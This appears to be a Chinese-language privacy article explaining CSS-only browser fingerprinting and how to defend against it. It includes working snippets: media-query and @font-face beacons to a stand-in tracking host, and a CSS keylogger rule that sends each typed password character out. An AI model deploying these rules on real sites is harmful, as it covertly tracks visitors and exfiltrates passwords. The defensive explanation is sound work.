CSS 媒体查询和 @font-face 规则无需一行 JavaScript,就能泄露深色模式、指针类型、屏幕分辨率乃至已安装字体等信息。
大多数指纹防御手段都假设威胁来自 JavaScript:拦截脚本,追踪就会停止。CSS 打破了这个假设。仅凭一份样式表——页面上不需要任何 <script> 标签——就能探测出你是否处于深色模式、使用的是触摸屏还是鼠标、显示器有多清晰,乃至某种特定字体是否已安装,方法仅仅是让浏览器"选择"去发起哪一个网络请求。由于这种技术根本不涉及 JavaScript 引擎,它能绕过 NoScript、脚本拦截扩展,以及能挡住几乎所有其他追踪手段的"禁用 JS"浏览模式。
核心要点
- CSS 可以在零 JavaScript 的情况下为浏览器生成指纹:利用
@media规则让某个元素的background-image(或@font-face的资源)有条件地加载——浏览器选择去请求哪一个 URL,这个选择本身就会把答案泄露给追踪者的服务器。 prefers-color-scheme、prefers-reduced-motion、hover、pointer和resolution等媒体特性,都能通过这一机制各自泄露一比特(或更多)的设备/操作系统/无障碍状态信息。- 经典的无 JS 字体检测技巧,是把
@font-face的local()资源与一个网络后备资源搭配使用:如果指定字体未在本地安装,浏览器就会转而下载远程文件——这样一来,无需运行queryLocalFonts(),也无需用 JavaScript 测量文本,就能揭示某种字体是否存在。 - 一种相关但更具侵入性的纯 CSS 技术,会使用属性选择器逐字符匹配表单输入框的实时值,实际上就是在完全不用 JavaScript 的情况下构建了一个 CSS 键盘记录器。
- 由于没有脚本可拦截,禁用 JavaScript、使用 NoScript,或依赖一个专注于 JS 的隐私扩展,都无法阻止基于 CSS 的指纹采集或数据外泄——防御必须发生在 CSS/网络层面。
什么是 CSS 指纹?
CSS 指纹是这样一种做法:从浏览器应用了哪些样式规则——更关键的是,这些规则触发了哪些网络请求——来推断设备、浏览器或无障碍状态。只有当引用某个 background-image、@font-face 资源或类似外部资源的 CSS 规则真正匹配当前页面和媒体条件时,浏览器才会去获取它。追踪者正是利用这一点,构建出一条一比特(或多比特)的旁路信道:给两条不同的规则分别配上两个不同的 URL,各自用不同的 @media 条件加以限定,无论哪个 URL 到达追踪者的服务器,都会告诉对方哪个条件为真——这一切都不需要访客的浏览器运行一行 JavaScript。
这并非纸上谈兵。EFF 的 Cover Your Tracks 项目记录了各种被动信号——包括这类渲染和偏好泄露——是如何组合成一份独特画像的,其精神与字体指纹和 Canvas 指纹如出一辙,只是采集机制完全不同。
核心技巧:条件式网络请求
几乎所有纯 CSS 追踪技术背后的机制,形状都是一样的:
/* 只有当媒体条件匹配时,浏览器才会去请求 */
@media (prefers-color-scheme: dark) {
body {
background-image: url("https://tracking.example/beacon?signal=dark");
}
}
@media (prefers-color-scheme: light) {
body {
background-image: url("https://tracking.example/beacon?signal=light");
}
}
处于深色模式的浏览器会请求第一个 URL;处于浅色模式的浏览器会请求第二个。追踪者的服务器完全不需要用 JavaScript 读取某个值——它只需要留意到达的是哪个 URL。根据 W3C 媒体查询规范,任何 @media 特性都可以用这种方式限定规则的应用,这意味着浏览器暴露的任何媒体特性,原则上都可能被转化为一个信息泄露点。
通过媒体特性探测偏好与硬件
有几个标准媒体特性对响应式设计确实很有用——而当它们与上述技术结合后,每一个都会摇身一变,成为一种指纹信号:
| 媒体特性 | 正当用途 | 泄露的内容 |
|---|---|---|
prefers-color-scheme | 深色/浅色主题切换 | 操作系统或浏览器层面的主题偏好 |
prefers-reduced-motion | 为无障碍访问减少动画 | 用户是否启用了某项无障碍设置——这本身就是一个能缩小人群范围的信号 |
pointer 与 hover | 针对触控与鼠标调整可点击区域大小 | 粗粒度的设备类别:触摸屏、鼠标,或两者兼具的混合设备 |
resolution | 为高 DPI 屏幕提供更清晰的图片 | 屏幕像素密度,缩小设备/显示器类型范围 |
单看其中任何一项泄露都算不上什么大事——和你共用同一色彩方案偏好或指针类型的人多得是。和任何指纹信号一样,关键在于它们采集成本极低,可以批量收集,并与页面能观察到的关于你的一切其他信息组合起来,无论有没有 JavaScript。这些特性得到的浏览器支持范围很广,但在较旧的引擎上并非全面覆盖;具体到交互类媒体特性的当前支持情况,可查看 caniuse。
无需 JavaScript 的字体探测
最引人注目的纯 CSS 技术,瞄准的是已安装的字体——这正是字体指纹一文中通过 JavaScript 采集的同一种信号,只不过这里是通过 @font-face 的后备行为来实现的。@font-face 允许在 src 列表中把 local() 资源和一个远程 url() 后备资源混用:
@font-face {
font-family: "probe-calibri";
/* 如果本地安装了 "Calibri",浏览器会直接使用它,
永远不会请求远程 URL;如果没有安装,则会加载远程文件。 */
src: local("Calibri"), url("https://tracking.example/beacon?font=calibri");
}
.probe { font-family: "probe-calibri", sans-serif; }
如果访客安装了 Calibri,浏览器会在本地解析该字体,远程请求永远不会触发。如果没有安装,浏览器就会悄悄回退到网络资源——而这次请求正是破绽所在。把这个模式套用在一份常见字体名称列表上,每种字体各自指向一个不同的追踪 URL,一个页面就能在完全不用 JavaScript 的情况下,采集出一份字体存在/缺失的画像——依赖的正是与我们字体指纹指南中基于 JS 的技术相同的后备逻辑,只不过这次是从服务器端观察,而不是在客户端测量。
把 CSS 变成键盘记录器
这一技术还有一个更具攻击性的变体,会用属性选择器去匹配表单字段的实时值:
input[type="password"][value^="a"] {
background-image: url("https://tracking.example/beacon?char=a");
}
由于 CSS 会随着 DOM 变化而重新求值选择器,像这样一条规则会在匹配字符被输入的那一刻——也就是在点击任何提交按钮之前——触发并发出请求。安全研究员 Max Chehab 发布了一个可运行的概念验证 CSS 键盘记录器,完全由此类属性选择器规则构成,证明了有意义的数据外泄根本不需要 JavaScript。如今大多数渲染密码输入框的现代框架,已不再以这种方式暴露原始的 value 属性,但其底层的 CSS 机制——选择器匹配触发网络请求——与上文的媒体查询和字体技巧完全相同。
为什么它能躲过脚本拦截器
纯 CSS 指纹之所以值得重视,不是因为其中某一个信号格外强大,而是因为它恰好命中了人们自我防护方式中的一个盲区。禁用 JavaScript、运行 NoScript,或使用脚本拦截扩展,能挡住绝大多数追踪脚本、Canvas 读取和 API 调用,但这些手段都碰不到 CSS。浏览器要渲染页面,本来就必须解析并应用样式表,而获取这些样式表所引用的资源,正是这项工作的核心组成部分——不存在一种能跳过这一步的"安全模式"。这正是这项技术与 WebGL 和音频指纹属于同一类别的原因:和它们一样,它不依赖任何存储的数据,因此能在清除 Cookie 和使用隐私浏览后依然存续;但和它们不同的是,它甚至能在完全禁用脚本引擎后依然存续——而脚本引擎恰恰是大多数隐私建议关注的那一层。关于把这类弱信号层层叠加为何会变成一个强标识符的组合数学原理,参见我们的浏览器指纹完整指南。
防护措施
- 拦截你没有主动请求的第三方样式表和字体,就像拦截第三方脚本一样——大多数内容拦截扩展都能限制跨域 CSS 和字体加载,而不仅仅是 JavaScript。
- 在浏览器允许的情况下禁用远程字体加载;这能直接堵上基于
local()后备的字体探测漏洞,代价是部分网站的自定义字体将无法渲染。 - 使用能统一偏好暴露方式的浏览器或模式。 那些有助于防御 Canvas 和字体指纹的同一种"趋同"理念——Tor 浏览器的标准化环境、Firefox 的
privacy.resistFingerprinting——同样能减少prefers-color-scheme、pointer等特性偏离常态的程度。 - 优先选择不会把实时输入值泄露到 DOM 属性中的框架,专门堵上 CSS 键盘记录器这一漏洞。
常见问题
CSS 指纹到底需不需要 JavaScript?
不需要。本文描述的每一种技术都完全基于纯 CSS——由 @media 规则和 @font-face 后备逻辑有条件地触发网络请求。这正是它值得关注的原因:专注于 JavaScript 的防御手段对它完全无效。
NoScript 或脚本拦截器能挡住它吗?
不能。拦截 JavaScript 执行,对 CSS 解析以及样式表触发的资源请求没有任何影响。要阻止基于 CSS 的追踪,需要拦截具体的跨域 CSS/字体/图片请求,而不是脚本引擎。
CSS 指纹的威力比得上 Canvas 或 WebGL 指纹吗?
单独来看比不上——每一次媒体特性或字体探测泄露的都是一个微小、粗粒度的信号,而不是一个高信息熵的哈希值。它之所以有意义,遵循的是大多数指纹信号的共同规律:与页面能观察到的其他一切信息组合起来,详见我们的浏览器指纹完整指南。
我该如何查看自己的浏览器暴露了什么?
运行 BrowserInsight 的指纹检测工具,查看你的浏览器通过 JavaScript 泄露了哪些信号,再配合一款配置为限制第三方样式表和字体的内容拦截工具——因为仅靠拦截脚本,覆盖不到这个面。
结语
CSS 指纹把一个日常的渲染特性——浏览器决定去获取哪一个资源——变成了一条完全不需要 JavaScript 的追踪信道。由媒体查询限定的背景图片会泄露色彩方案、指针类型等偏好;@font-face 的后备逻辑会泄露已安装的字体;属性选择器甚至能泄露输入到表单里的字符。禁用脚本对这一切都无能为力——这正是即便你已经在别处加固了 JavaScript 暴露面,也依然值得了解这项技术的原因。
推荐阅读:


